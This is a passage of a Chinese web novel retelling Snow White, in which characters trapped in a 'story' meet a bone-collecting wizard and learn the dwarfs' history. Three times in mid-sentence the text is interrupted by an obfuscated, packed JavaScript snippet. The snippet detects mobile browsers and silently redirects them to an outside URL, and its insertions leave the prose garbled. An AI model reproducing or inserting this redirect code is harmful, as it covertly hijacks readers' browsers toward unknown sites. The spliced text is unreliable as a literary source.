矮人已经向森林中的一条小道走去:“既然你们不是王宫里的人,那就别废话,跟我来!我可以带你们去找男巫!” 男巫的居所和仙女的居所截然不同。 如果说仙女的居所是森林中的动物净土,那么男巫的居所就是森林中的邪恶大本营。 穿过阴森的羊肠小道,见到的就是一幢漆黑的三层高楼,周围围满了一圈的不停往上涌泡泡的泥藻潭,干枯的树枝张牙舞爪,敌视着每一个靠近的生物。 矮人来到门前,大力拍门:“开门!开门!” 过了一会儿,门被一只口吐人言的乌鸦打开了。 “来了,来了!平时你不都是走小门的,正适合你这个矮子!今天怎么突然走大门了……嘎!你带回来了什么?好多血!好多血!嘎!嘎!” 乌鸦“嘎嘎”叫着飞走了。 “男巫!男巫!” 矮人刚喊了两声,男巫就出现在了楼梯拐角。 男巫头戴巨大的巫师帽,身上的漆黑斗篷破破烂烂。他的手和脖子干枯如树皮,但脸却稚嫩如少年。不过少年脸颧骨特别高,嘴巴特别大,看着也是说不出的怪异。 “吵死了!乌鸦吵,你也吵!” 男巫走下楼梯:“哦,你带来了几个小麻烦。” 他凑近看了看成柳的惨状,竟是哈哈大笑起来。 “哈哈哈哈哈哈!诅咒!真是美妙的诅咒!!!”笑着笑着,他像是突然闻到了什么,动着鼻子,这嗅嗅,那嗅嗅,最后从成柳怀里的包裹里拿出了一颗小球。 正是仙女用成柳的血炼制成的血球。 “哈!仙女!”他又看了看林清原怀里抱着的比利:“哈!这也是仙女的!” 矮人手握拳头,气得跳了几下。 “治疗!随便用点什么药!再不治疗,这几个家伙就要死了!” 男巫一旋身在椅子上坐下,把每个人都看了一遍,最后视线定在林清原身上。 “好骨头!哈哈,治伤可以,但是我要骨头。你的骨头很好,我要骨头!” 林清原吃惊。 这森林中都是些什么人,爱鲜血的仙女,和爱骨头的男巫! “不行!”白仙贝挡在林清原面前。 开什么玩笑!“故事”里留下的伤,可是会原原本本带回到现实世界里的,如果林清原在这把骨头给了男巫,那等出去,岂不是直接少了骨头? 林清原看着呼吸渐渐微弱的成柳和比利,眉头一皱,就要上前一步,答应男巫的要求。 白仙贝直接把她抱住了。 鲜血顺着伤口浸染了衣服。 “别这样,小鹤。我们现在只有你是健康的了,不能在这里再受伤了。你如果再出了事,出去之后又该怎么办呢?” 眼泪落到了脖颈,烫得林清原的皮肤生疼,心也生疼。 白仙贝松开林清原,看向男巫:“我的骨头你可以拿走,别人的不行。” 说完,她就顾不上看男巫的反应,直接跪在地上,凝聚起能力,继续给成柳和比利治疗。 走来有一段路了,她也算是休息了一会儿,在激动的催化下,她终于又能勉强凝出力量了。 男巫手托着脑袋,看着白仙贝手中聚集的微弱的金光。 “哦?治疗之力。品相不错,可惜力量太弱了。”男巫叹了口气,“我要你的骨头干什么?唉,无聊,无聊。” 旁边的矮人嘴一撇,红鼻子都被顶高了。 “哼,你什么时候不觉得无聊了?天天都觉得无聊,给你买了笑话大全也看不下去!” 男巫叹了更长的一口气。 “我活了这么多年,那些笑话都是陈年烂谷子的了,好多还是我写的!无聊,太无聊了!” 听到这话,林清原试探地问:“或许,我可以给你讲笑话?” 男巫眼睛一亮:“你会讲笑话?” 林清原:“有一个面包,有一天正在路上走着,走着走着,它饿了,然后就把自己吃掉了。” 男巫愣了一下,然后爆发出了惊天动地的笑声。 “哈哈哈哈哈哈!面包……把自己吃了……哈哈哈哈哈哈……” 矮人气极了,疯狂捶打着男巫的膝盖。 “这哪里好笑了!这都好笑的话,那我费尽心思给你想的那些笑话算什么!” 林清原赶忙制止了男巫的爆笑:“别笑了!既然你喜欢这个笑话,那你现在可以治疗了吧?” 男巫缓了缓气,兴奋道:“再讲一个!我还要听!” 林清原板起脸:“先治伤!” 男巫不依不饶:“讲完再治!” 林清原有些火了:“再拖延治疗,我就带着我的一万零一个笑话走了!一万零一个!让你一个都听不到!” 男巫立马下令让乌鸦和矮人去拿一些药水,让老鼠们排队把成柳和比利抬到桌子上。 “快去拿!别耽误了治疗!”说完,他就将手虚放在伤者的身上,黑光涌现,开始治疗。 矮人嘟嘟囔囔地上了楼,又嘟嘟囔囔地把需要的药水带了回来。 男巫将药水洒在伤口处,运作着黑光,将其均匀地渗进了身体里。 渐渐的,成柳和比利的伤处不再流血,开始缓慢地愈合。 乌鸦衔来药丸,一人一狗的嘴里都被塞了一颗,入口即化。 在伤口彻底平整后,男巫停下了手中的动作,得意地一甩袍子:“行了。” 林清原来到比利身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617579|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,狗狗已经精神变好了很多,正抬头笑着吐舌头呢。 白仙贝看着还在昏迷的成柳,不放心道:“他怎么还不醒?” 男巫歪了歪头,说:“伤都治好了,现在不醒和他身上的诅咒有关。等他身上的力量衰退了,自然就醒了。” 男巫拉过白仙贝的手,仔仔细细地摸了摸。 “嗯……你的这对手骨,其实也不错。” 他大手一挥,一阵黑雾包裹了白仙贝,等黑雾散去,她身上的伤口就都消失不见了。 “你再用你那股力量给我看看。” 白仙贝依言凝力,金色的光芒从手中亮起。 男巫伸手虚捏了一下,金色光芒瞬间灭掉,白仙贝也像被击打了一样,痛苦地捂住胸口。 “你干什么!”林清原把白仙贝拉到身旁护住。 男巫笑了起来:“你这股力量,倒是和我的治疗之力有点像,就是太弱了,你又根本不知道怎么用,才把自己搞得这么狼狈。” “和你的有点像?那你能教我怎么用这股力量,让它变得更强吗?”白仙贝问。 “可以是可以,”男巫话锋一转,“但是我为什么要教你?教你对我有什么好处吗?还是说,教到最后,就像这只小矮人这么蠢?” 矮人一脚踢上男巫的小腿:“你才蠢!你是世界上最蠢的蠢材!” “你真的能教?”林清原问。她看了白仙贝一眼,说:“如果这种教学没有副作用的话,我可以给你写笑话大全。” “什么!你说真的吗!” 男巫激动地就要凑到脸前,比利眼疾手快地用身子把他顶开。 得到林清原的保证后,男巫高兴地从这个椅子蹦到那个椅子,连续蹦了一圈才停下,得意地说: “你们身上有仙女的味道,她还给了你们血珠,但是我就说她那个家伙不靠谱吧,要不然怎么不会教你如何控制力量呢?” 林清原问:“仙女也会控制这些力量?” “当然……”男巫停下,问矮人:“不对啊,你都不去仙女那边的地盘,怎么会救下仙女的人?” 矮人大哼一声:“哼,用你那蠢猪脑袋想想,我会去仙女那边吗!这几个家伙是在白雪公主附近发现的,正被两个猎人追杀,我听到声音过去的时候,人都快死完了!” “哦!白雪公主!”男巫夸张地大叫,“怪不得你们会碰面!” 他问林清原:“那你们去白雪公主那里做什么?仙女又要对白雪公主做什么试验了吗?” “试验?什么试验?仙女她要对白雪公主做什么?”白仙贝听着不对劲,问道。 “你们怎么一问三不知?问这不知道,问那也不知道,真的是从仙女那来的吗?可是身上又有仙女的气息,奇怪,奇怪。” 男巫很疑惑。 林清原还是说出了实情。 矮人气得团团转。 “你们!你们竟然是从王宫出来的!可恶!晦气!太晦气了!” 男巫一巴掌拍在矮人的头上:“吵死了!说你爱生气,你还真的太爱生气了!从王宫中出来就出来了,反正是逃出来的,怪不得会有猎人来追杀。” “你的意思是,猎人是王宫派来的人?” 男巫“嘿嘿”笑着:“当初派了猎人来杀真正的白雪公主,现在又派了新的猎人来杀假的白雪公主,不愧是王宫那边的人,心思永远这么歹毒。” 他重新坐回到椅子上。 “我说为什么仙女会放你们出来,还告诉了你们水晶棺的安全解锁方法。原来是这样。你们该不会真的以为,那个仙女是个好人吧?” 25. 封印 白仙贝说实话不太信任仙女,但她也不太信任这个男巫,于是问道: “那难道你是好人吗?” 男巫摆了摆手,一副不好意思的样子:“说的什么话,我哪里会是什么好人,太夸奖我了。” 林清原、白仙贝:不,这不是夸奖你的意思啊。 男巫说:“其实治疗之力,仙女虽然不是强项,但最起码能教你怎么控制。你不会控制力量,就是乱使力气,该小力气的时候用了大力气,那到该用大力气的时候,可不是只能使小力气了嘛!” 他把仙女的目的明明白白的摊开说了:“仙女告诉你们的打开水晶棺、解除白雪公主诅咒的方法确实是正确的,但是打卡水晶棺之后呢?白雪公主的诅咒要靠爱来破解,可难道她身上的封印真的是诅咒吗?” “什么意思?不是诅咒的话,为什么魔镜说可以用爱来唤醒白雪公主?” 林清原不解。 “魔镜说的没错啊,确实可以用爱来唤醒公主,但这不是破解白雪公主身上的诅咒的办法,只是破除沉睡封印的办法。” 见几人还不明白,男巫于是说的更直白了:“白雪公主身上没有诅咒,她身上只有我们借毒苹果生效的封印。封印解除,白雪公主的力量也会解封,经过这么多年的催化,如果她不生气还好,生气的话,谁也阻挡不了咯。” 他幸灾乐祸:“仙女不仅不教你怎么控制力量,还不告诉你们这些实情,为的就是等你们打开水晶棺,第一个直面苏醒的白雪公主,看看会发生什么吧。” 他站起身,围着几人缓慢踱步:“嗯~你们几个都是好品种,如果你们死了,那还是老样子,血液归她,骨头和皮归我。” 白仙贝打了个冷颤。 “这说不通。既然白雪公主的封印已经持续了这么多年,仙女为什么突然要我们把封印解除掉呢?” 沙哑的声音响起,几人闻声看去,是成柳醒了。听他的问话,大概醒了有一段时间了,不过身体还是小孩的样子,没变回去。 白仙贝小心地扶着成柳坐起来。 “谁知道呢?无聊了、腻了,谁知道她的脑子每天在想些什么?哈哈!说不定还有万分之一的可能性,她突然善心大发了!反正我和她都有自保的能力,就算封印解除,也不会受影响。” 比利低下头,尾巴也盘在一旁,呜咽了两声。 林清原摸了摸自家狗狗的头,给予它无声的安慰。 其实听了男巫的这番话,她心里有一点猜想。会不会是因为比利的缘故,仙女才对他们的态度比较友好?但现在也不会再转头回到仙女那边,这点猜想,也得不到验证了。 白仙贝一句句追问:“那你呢?封印不是你和仙女一起弄的吗?当初还给了国王他们两个选择,施予祝福,或者施加诅咒,这也是假的吗?而你又怎么证明你说的话是真的呢?” 林清原点点头,这也是她想问的。她看向白仙贝认真的脸庞,心里有些骄傲,又有些酸酸的。 当初那个只能揪着她衣角哭的女孩,现在已经变得坚毅、冷静了太多。 矮人环起手臂,狠狠地嘲笑男巫:“哼,瞧你现在的样子!没人会相信你说的话的!” 男巫不以为意,他丢给林清原一个不知道什么皮做的本子,说:“你写笑话,用手指写就行,把这一本都写完!一万零一个笑话,我都要看! “我管仙女那么多做什么?仙女能让我变得不无聊吗?不能!只有骨头和笑话可以!既然这样,你们知道了真相,又跟我有什么关系?我何必要再编一段假话?编假话也太无聊了,和看老笑话一样无聊!我才不干呢!” 林清原翻了翻本子,厚的不行,别说写一万零一个笑话了,写再多都承得下。 想了想,她对男巫说:“笑话这东西,当然是在随时更新的。我给你写三十条,你一天看一条,等看完了,也到下个月了,我就再过来给你写新的,怎么样?” 男巫不乐意:“一万零一条变成三十条?不行!太少了!最少一百条!” “那二十条。” 男巫急了:“怎么还越说越少了?不行!就是一百条!” “那十条。” “等等!五十条!五十条,总行了吧?”男巫退让了。 林清原冷笑一声:“一条。” “好!三十条,就三十条!”男巫咬牙同意了。 林清原冷酷地开口:“晚了。现在如果要写三十条,你不仅需要教我们如何控制力量,还要告诉我们关于白雪公主的一切。” 矮人对这番讨价还价喜闻乐见,他叉起腰大笑:“哈哈哈!让你这个男巫贪心!贪心吃不到好果子的!” 男巫同意了。 就这样,林清原在一旁努力写着三十则笑话,而男巫,讲述了他的版本的白雪公主的故事。 在二十年前,原王后诞下了一位小公主,公主刚出生,便已经是世界上最好看的婴儿,胎发乌黑,皮肤雪白,嘴唇血红。 国王见了很是高兴,当即起名“白雪”。 最开始的日子很美好,国王与王后夫妻恩爱,白雪公主与她的七位哥哥也相处的很是和谐。 然而国王并不是个安生的男人,王后在生完白雪公主后身体虚弱,国王便借征战之名,肆会美人。 后来王后的病情加重,在某一天猝然逝世,留下了她的七个儿子与尚在襁褓中的女儿。 国王很快就带回来了新的女人,也就是现今的新王后。 有人猜测新的王后在很早以前便是国王的情人,但国王对新王后的态度很是奇怪,除了看似正常夫妻的爱护之外,还有一丝忌惮。 旁人不清楚这其中的内幕,但仙女和男巫知道。 因为国王和新王后来到了森林,寻求他们的帮助。 不过仙女和男巫哪是那么容易就见到的,于是国王下令让军队踏平森林。被逼无奈的仙女和男巫现了身。 国王与王后说明了他们的来意:世间有一魔镜,可知晓万物、解答万事。魔镜对白雪公主的未来作出了预言,说等到公主十五岁后,会给王国带来巨变。或许是昌盛,也或许是毁灭,只有森林中的仙女和男巫能够将这个预言实践。 仙女和男巫听了,发觉这件事内有蹊跷。他们前往王宫,查看了公主的情况,发现了公主的力量。 白雪公主自出生起便身蕴强大的力量,这种力量会随着她年龄的增长而逐渐强大,直到公主十五岁,力量会彻底成熟,为其所用。拥有了成熟力量的白雪公主,想要一个国家昌盛或者灭亡,全凭一念之想。 仙女与男巫商议:既然国王最开始打算踏平森林,那么种下了苦种,结出的苦果自然也要自己吃。他们将隐瞒公主的力量,提供两个选择。 第一个选择,施予祝福,公主在爱与珍视中长大,在十五岁生日后,她会遇见世界上最强大的国家的国王,那个国王会对白雪公主一见钟情,娶为王后。 第二个选择,施予诅咒,公主在恨与痛苦中长大,在十五岁生日后,会来到森林,吃下精心调制的毒苹果,陷入永久的沉睡,只有爱可以令其苏醒。 国王询问,是否可以令白雪公主在绝不可能带来毁灭的情况下,带来昌盛? 仙女和男巫去见了魔镜,两人一镜达成共识,对原先的选项做出了改编。 在白雪公主吃下毒苹果,陷入沉睡后,她身上的诅咒会扩散给王国里的每一个新的公主,接受了新的公主的联姻的国家,都会受到诅咒影响,变得更加强大,但是要保证永远不侵略公主的国家,否则诅咒会变为收割性命的利刃,给他们的国家带去末日。 国王与新王后对这个最新的方案很满意。 就这样,仙女和男巫齐力对白雪公主施加了诅咒,让公主的力量在十五岁前不显于人前,一直等待着十几年后,毒苹果事件的转机。 作为促成这件事的二人一镜,他们各自收取了报酬: 仙女每月派出使者来到王宫,收取王后的一盏血液,和随机的一些其他东西;男巫带走了国王的七个儿子,并作了约定,国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白仙贝皱着眉头,问:“既然白雪公主本身就具有强大的力量,又为什么要在第一个选择里,一定要给她安排另一个国王的娶亲呢?” 男巫诧异地看了她一眼:“女人长大之后,必定是要嫁人的啊?我们已经为她着想了,可以引导世界上最强大的国家的国王来到这里。白雪公主的美貌会令所有男人倾心,如果她不嫁给最强的男人,难道要嫁给丑陋的平民吗?” “可是……”白仙贝还想说什么,被成柳拉了一下。 白仙贝看向成柳,他说:“在这个时代,女人都是要嫁人的。” 经过提醒,白仙贝才从沉浸感中脱身。 她都忘了,现在他们不是在现实世界,而是在以19世纪初为背景的“故事”里。 林清原把笑话书递给男巫,问:“既然白雪公主身上的‘诅咒’只是沉睡的封印,那她真的吃下了毒苹果吗?” 男巫点头:“当然,我们亲眼看着她吃下去的。如果你们真的要解除白雪公主身上的封印,那就不用担心毒苹果的事了,封印解除了,吃下的毒苹果自然会吐出来。” 讲完故事,男巫就迫不及待地翻开了笑话书,看完了第一则笑话,就笑得直不起腰了。 缓了好大一会儿,他下意识想翻到下一页看第二则笑话,然后突然想起了约定,硬是把书合上了。 男巫意犹未尽地对林清原说:“嗯……一天看一则,三十天后,你来找我继续写笑话。如果你不来,我就去找你。你就算逃到世界上的任何地方,我也会找到你的。” 林清原笑着点点头,心里却在说:没关系,反正我很快就离开这里了。你就算能找到世界上任何地方又怎么样?世界外的地方你总归找不到吧。 男巫听不到林清原的心声,他很守信地教导白仙贝直到天明。 虽然时间不长,但白仙贝掌控力量的水平明显高了一大截。如果说之前的治疗之力是一团泥巴,哪里受伤就覆在哪里,现在的治疗之力就是一涓细流,哪里受伤就抚在哪里。 在此期间,成柳身上的能力副作用也消退了,他又变回了原来的帅气青年。 矮人见到回归正常的成柳,先是惊讶,后是生气,嘴斜鼻子翘,怒气噌噌冒,像是烧开了热水的茶壶。 在休息过后,几人装好新的干粮,重新返回白雪公主的沉睡地。 矮人拿上一些东西,气呼呼地跟在身旁。 “你也要去白雪公主那吗?” 矮人没理成柳的问话,冷哼了一声,快步走到了前方。 26. 七个小矮人 清晨的阳光洒在水晶棺上,反射出璀璨的光芒。水润的雾气浅浅的堆着,给森林覆上了一层薄纱,显得梦幻又迷人。 矮人先是迅速的把昨晚的两个猎人的尸体清理干净,然后就走到了棺前,轻轻跪下。 他从兜中取出一块布蒙在眼前,接着小心地擦拭着水晶棺,一寸又一寸,擦的细致又认真。 林清原这才知道为什么五年过去了,白雪公主的水晶棺还是干净如新,原来是有矮人在认真护养。 白仙贝走到矮人身边,问他:“你每天都会来这里清洁吗?” 矮人答:“每天早晚各一次。森林里的环境复杂,不勤快点清洁,水晶棺很快就脏了。” 清理着水晶棺的矮人此刻一点也看不出平常的暴躁易怒的模样了,他神情平和,有着眼部白布的遮挡,甚至能看出一点虔诚的意味。 林清原三人分散站着,目光都集中在矮人身上,看着他熟练地将水晶棺的每一处都清理干净。 谁都没有说话,只有小动物偶尔作弄出的声响,点缀着此地的安详。 朝日渐高,薄雾散去,矮人也终于擦完最后一处。 他眷恋地伸出手,想隔着水晶棺去抚摸白雪公主的脸,但最后也只是虚虚撑了一下,就离开了原地,背对着众人取下了眼前的白布。 林清原忍不住问:“我们之后就要打开棺材、解放白雪公主了,可以吗?” 矮人的动作微微顿了一下,随后恢复了正常。他的语气平淡: “你们不就是为此事而来的吗?想做就做了,问我干什么?” “我们也不清楚唤醒白雪公主会有什么后果,或许她醒来之后,会选择彻底离开这里,那样你可能就永远见不到她了。” “那跟我又有什么关系!她想去哪里是她的自由!她应该这么做!她……”矮人越说越愤怒,但最后却突然卸了气,嘟囔了一句。 林清原没听到,问:“什么?” 矮人生气地踢了一脚地上的花草,然后转过身,举起手指对着几人指指点点。 “我说!白雪她想做什么都可以!我不会干涉!” 他一步步走近,脚把地面踏得尘土飞扬。 “对!没错!你们也早该知道了!白雪就是我的妹妹!她就是我唯一的妹妹!我是她哥哥!以前没能保护她,现在我就要保护她!她想做什么都可以!哪怕是杀了所有她喜欢的、讨厌的人都可以!什么都可以!我!只要保护她不再受到伤害!就可以了!懂吗!” 矮人的手指差点捅到了林清原身上。 比利挡在身前,后背弓起,张开利齿,发出威胁的吼声。 林清原双手平举,尽量让矮人冷静下来:“嘿,别激动,我知道了。” 矮人握紧拳头大叫一声,烦躁地转了几圈,像颗要炸开的土豆。 成柳走过来,提议道:“不如你给我们讲讲你的事情吧。这样我们还能在水晶棺打开前多待一会儿。” 矮人犹豫了一下,同意了。他走到一旁,挑了个正面对水晶棺的树下坐着了。 几人跟过去,围着他坐下。 矮人望着水晶棺,思绪回到了从前。 “二十年前,我和我的哥哥们还没来到森林,那个时候王国虽然不是很强大,但我们兄弟七人每天都很快乐。母后很温柔,父王待我们也不错。后来母后再次怀孕,并生下了我们的妹妹,也就是白雪。那段时光是此生最幸福的时光了。 “不过很快,父王就开始频繁出征。我们一开始没发现有什么不对,直到在白雪两个月大的时候,父王和母后爆发了一次大争吵。父王从此离开的时间更久,母后则开始每天以泪洗面,身体每况愈下,短短一个月的时间就病逝了。 “我们很慌张,不知怎么办才好。就在这时,父王……那家伙回来了,还带回了新王后。我这才知道,原来一个月前的那场争吵,是国王一直讨情人的事被母后发现了。 “我们兄弟七个都不喜欢新的王后,但我们阻止不了她成为新王后。新王后很奇怪,像是知道我们所有人的喜好,每次都能拿出我们正在想的东西,当然,后来我知道了,这都是魔镜给出的答案。但当时我们不知道,甚至有几个哥哥渐渐被新王后打动了,开始接受她。 “又过了两个月,我无意间发现国王还是在外不停的养情人,但他却不敢闹到新王后面前,平时说话也保持着一个限度,像是在忌惮着新王后。 “我管不了他们的事,每天最喜欢的事情就是去白雪的寝殿和她玩,她小小的,大部分时间都在睡觉,但是我一去到,她就总会很快醒来,看着我笑。太可爱了,我想快快长大,然后把世界上所有美好的东西都给她,给我唯一的妹妹。 “然而就这一点微小的愿望,都被国王……那个老不死的破坏了!他忽然有一天去看了白雪,紧接着第二天,就下令去森林搜索着什么。搜了两天搜不到,就直接召集军队,想要把森林踏平。 “在这之后,仙女和男巫来到了王宫,同样去看了白雪。我很害怕,我不知道为什么他们一个二个的都要来看白雪,又不是单纯的看望,每个人的眼神都带着算计,好像白雪只是一件商品。 “我本来以为我、哥哥们、还有白雪,我们都会健康长大,但没想到没过几天,我和哥哥们就被军队押送到了森林,男巫稍微施了点法术,我们就动弹不得,只能跟着他走。 “男巫住的房子真差劲!阴暗、潮湿!还有各种老鼠、蟑螂,和乌鸦!那些全是他的手下!恶心!太恶心了!” 矮人抱怨了几句,又接着说: “男巫一天一个,把我的哥哥们带进了秘密房间。我听不到他在做什么,也不知道哥哥们怎么样了,每天都过的提心吊胆,想逃也逃不掉。直到六天后,轮到我去秘密房间了。在那里,我见到了我的哥哥们,他们全都昏迷着,大变了模样。以前他们长的又高又帅,” 矮人扭头看了成柳一眼,哼了一声:“哼,比你还要高的多、帅的多!” 成柳礼貌地笑了一下。 矮人低头看向自己的手,声音中带着恐惧:“可是他们全变成了矮人,样貌崎岖、行动不便的矮人!男巫把我们的骨头一根根抽出、又收集起来,全部用在了他之后的实验中!而我们兄弟七人,就这么作为七个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711850|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矮人,失去了原本的名字,留在了他的身边,为他挖矿、采集材料,包揽了所有的脏活累活。” 矮人悲伤地看向水晶棺:“在之后的十五年间,我从没听说过白雪的消息,我也询问过,但从来得不到答复。而我再见到白雪,就是她倒在森林里。 “十五年没见,我一眼就认出来了,那就是我最爱的妹妹白雪。这种相见的场面我梦到过无数次,但是真正的见到,却让我无比痛心。我已经不再是她原本的哥哥,而是一个相貌丑陋的矮人,她也不再是受宠的公主,而是浑身遍布伤口的昏迷者。而最可怕的是,我发现我爱上了她。” “爱上了她?”白仙贝疑问。 矮人苦笑一声,说:“是啊。不是哥哥对妹妹的兄妹爱,而是男人对女人的……情人爱。太可笑了,太荒谬了,我情不自禁地靠近了她,甚至想要对她做些什么。我当时就在想,哦!多么美丽的人!我是个丑陋的矮人、不受任何人待见,而现在,在我面前就有一个落难的美人!我该拥有她!我要拥有她!拥有了她,我就不再是龌龊的臭虫了!” 这番自白听得几人都内心不适。 “这就是趁人之危!”林清原皱起眉头。 矮人点点头,说:“是的,没错。就在我靠近白雪的时候,我的脚踢到了一个东西,我捡起来一看,是一个被咬了一口的苹果。这个味道很熟悉,我在上次见仙女的时候,从她身上闻到过。苹果太香了,于是我也情不自禁地咬了一口。” “你也吃了毒苹果?” “吃下毒苹果后,我就昏迷过去了。等我再次醒来,见到的就是生气的男巫。这回他告诉了我所有的事。至于为什么我吃下了毒苹果却没有昏睡或者死去,只是因为这么多年来,男巫在我们兄弟几人身上用了大量的药,药效对冲,我才侥幸活了下来。 “不过也幸亏我吃下了一口毒苹果,仙女和男巫合力催化的白雪身上的‘爱情魔力’对我的效果减弱了许多,我终于从爱情的吸引中清醒了过来。我差点自暴自弃,对自己的亲妹妹都想下手,我这样的人还活着有什么意义?但是男巫不会让我轻易死去,虽然我死掉了也能成为他的材料,但是活着的价值更高。呵,最起码可以帮他打扫卫生!” 矮人不屑地拧了拧大鼻子。 “总之,从那以后,我每天早晚都会来到这里清扫,只要眼前蒙上一层布,白雪的‘爱情魔力’对我就不起效了。可惜的是,我再也不能看一眼白雪的脸了。她的力量太过强大,被催化过的魔力也太过惊人,只要是看过她正脸的男人,都会爱上她。” 矮人停了很久,才接着说:“我的哥哥们,全都因此丧命。他们有些是特意来看望白雪,有些却只是偶然经过。但是一切都不可挽回了。” 成柳迟疑地问:“你的意思是……你的哥哥们,也全都爱上了白雪公主?” 矮人的沉默给出了答案。 “那他们是怎么丧命的?是因为……爱上了白雪公主之后的愧疚吗?” 白仙贝的话刚问完,就见到林清原反手握住了背上的古剑,警惕地盯着前方。 从树林中,走出了一个人。 27. 森林中的白雪公主 来人一副猎户打扮,手中拿着地图,四处张望着。 林清原握紧古剑,随时准备出击。却见那个猎户抬头看了一下,一副惊讶的表情,招了招手,表情轻松地走了过来。 成柳迎了上去。 “栋贰肆,你怎么来这了?” 栋贰肆显得很高兴:“成柳!果然是你!” 成柳向几人介绍了栋贰肆的身份,不过有矮人在场,他稍微隐瞒了一点,只说他是以前自己队伍里的人,现在是农户。 栋贰肆摇摇头,说了自己现在的新身份:“我现在不是农户了,而是王后派来的猎人。” 林清原很讶异。 “王后又派了新的猎人?” 栋贰肆说:“昨天上午,王宫中突然派人把聚集地的猎人两兄弟召集了,从那之后他们就没回来,搞得聚集地人心惶惶,都在猜是不是猎人兄弟又像他们的父亲那样被处死了。然后在今天早上,王宫中又来人了,还是在召集猎人,没人愿意去,我就自告奋勇跟过去了。等到了王宫,我才知道,前天晚上白雪公主出逃了,连带着两名侍卫一起。我一想,侍卫,说不定就是成柳呢?所以就接下了这个任务。顺着地图找过来,还真见到了!” 白仙贝好奇地问:“那如果出逃的侍卫不是阿柳呢?” “那我就假死呗,王宫那边有成柳在,估计也调查的差不多了。我不如借此机会来森林,找点新线索。” 矮人皱起鼻子:“那个老女人给了你什么任务?” “老女人?”栋贰肆反应了一下,才意识到这是在说王后。“任务就是,杀死出逃的白雪公主和她身边的侍卫。” “杀死白雪公主?那这个白雪公主他们是打算放弃了?”成柳问。 林清原倒是不觉得意外:“反正王宫中还养着更多的白雪公主,与其把出逃的白雪公主抓回去继续用,不如直接放弃,避免再生事端咯。” “不过你怎么会拿到来水晶棺地点的地图?那个老女人连这个都给你?!”矮人生气的嚷嚷。 栋贰肆把地图给矮人看,矮人接过去看了两眼就愤怒的撕碎了。 “王后直接给了我这个地图,说在这里就能找到出逃人员了。只是我没想到,这里竟然会是真正的白雪公主的棺地。” 栋贰肆说着,想去棺材旁看看,被成柳一把拉住了。 “别过去。咱们都是男人,离白雪公主的水晶棺远点比较好。” 成柳把栋贰肆带的更远了些,给他讲述整个故事。 林清原在这边和白仙贝聊着。 “我说为什么那两个猎人能知道咱们要来到水晶棺的地方,还提前布置了陷阱,原来又是王后在背后授意。估计这也是魔镜告诉她的。” 矮人骂骂咧咧的:“魔镜!又是魔镜!我就该去把它砸碎!掰烂!扔到天涯海角!” 白仙贝提起昨天的经历还心有余悸:“当时我被倒吊在树上,阿柳又踏进了陷阱,我真的以为要完了。然后我突然想起,在逃出王宫前,阿柳给了我一个小刀,说让我防身用的,正好被我藏在了裙子后腰的那块布下面。”她冲着林清原一笑,“这还是跟你学的呢。” 林清原笑着拍了拍古剑:“放在背后好用吧,随用随取,还隐蔽。”她把古剑取下来,惋惜道:“可惜这古剑有些大了,要是再小点,跟孙大圣的金箍棒一样,变得跟针一样小,就更隐蔽了。” 白仙贝笑着打趣:“那你就打遍天下无敌手啦,拳脚功夫本来就厉害,再配上随大随小的古剑,耍起来肯定威风,别人连你身都近不了了。” 林清原笑了笑,却叹了声气。“我用剑的本事太差了,只会凭借速度和力气戳一戳、劈一劈罢了,哪怕换成一根树枝,也是同样的效果,完全没把古剑的实力发挥出来。我但凡会用三分的剑,那个猎人就不会从我手底下逃脱。幸亏那时候你和成柳已经把另一个猎人干掉了,不然二打一,再来点阴招,还真不好对付。” 矮人不屑地哼了一声:“哼,王后手底下的人不都是这样,阴招使的太熟练了!” 成柳给听懵了的栋贰肆带了回来。 栋贰肆几次欲言又止,最后也只化作了一声叹息。 林清原看看天上的太阳,估算了一下时间,决定不再拖延。 于是几人一狗四散开来,收集着在安全开棺的过程中需要用到的东西。连矮人都参与了。 收集的差不多了,林清原返回了水晶棺所在的地方,却见到比利和矮人正蹲在树后,眼睛紧盯着白雪公主的方向。 林清原悄悄走近,发现此时水晶棺附近多了一些人。 为首的正是国王,他也来到了森林。不过他并没有站在最前方,而是指挥着侍卫搬动水晶棺。 不过水晶棺牢牢地嵌在地里,任凭侍卫们怎样合力都动不了分毫。 国王见状,面上表情愈发焦躁,他一边痛骂着,一边时不时往王宫的方向张望。 白仙贝、成柳和栋贰肆也回来了,他们也发现了不对劲,都没有声张,在附近躲了起来。 比利不耐烦地甩动尾巴,林清原摸摸它的头,让它稍安勿躁,看看国王到底想要做什么。 国王见水晶棺搬不动也劈不开,决定暂时撤离,于是他下令让侍卫们都归队,护卫自己回去。 然而聚集在水晶棺附近的侍卫们却都保持着同一个姿势低头站立,对国王的命令视若无睹。 国王暴怒,抽出佩剑就要砍了这几个不听话的侍卫。 下一刻,这些侍卫齐齐抬头,把冲上来的国王制住了。 国王脸上浮现出惊慌。 “你们要做什么?脑袋不想要了吗?!” “公主……不允许伤害白雪公主!” 侍卫们怒吼,把国王吓得疯狂挣扎,色厉内荏地斥了几句,却逃不脱掣制。 国王被侍卫狠狠地推向水晶棺,头砸在棺盖上,发出响亮的一声。 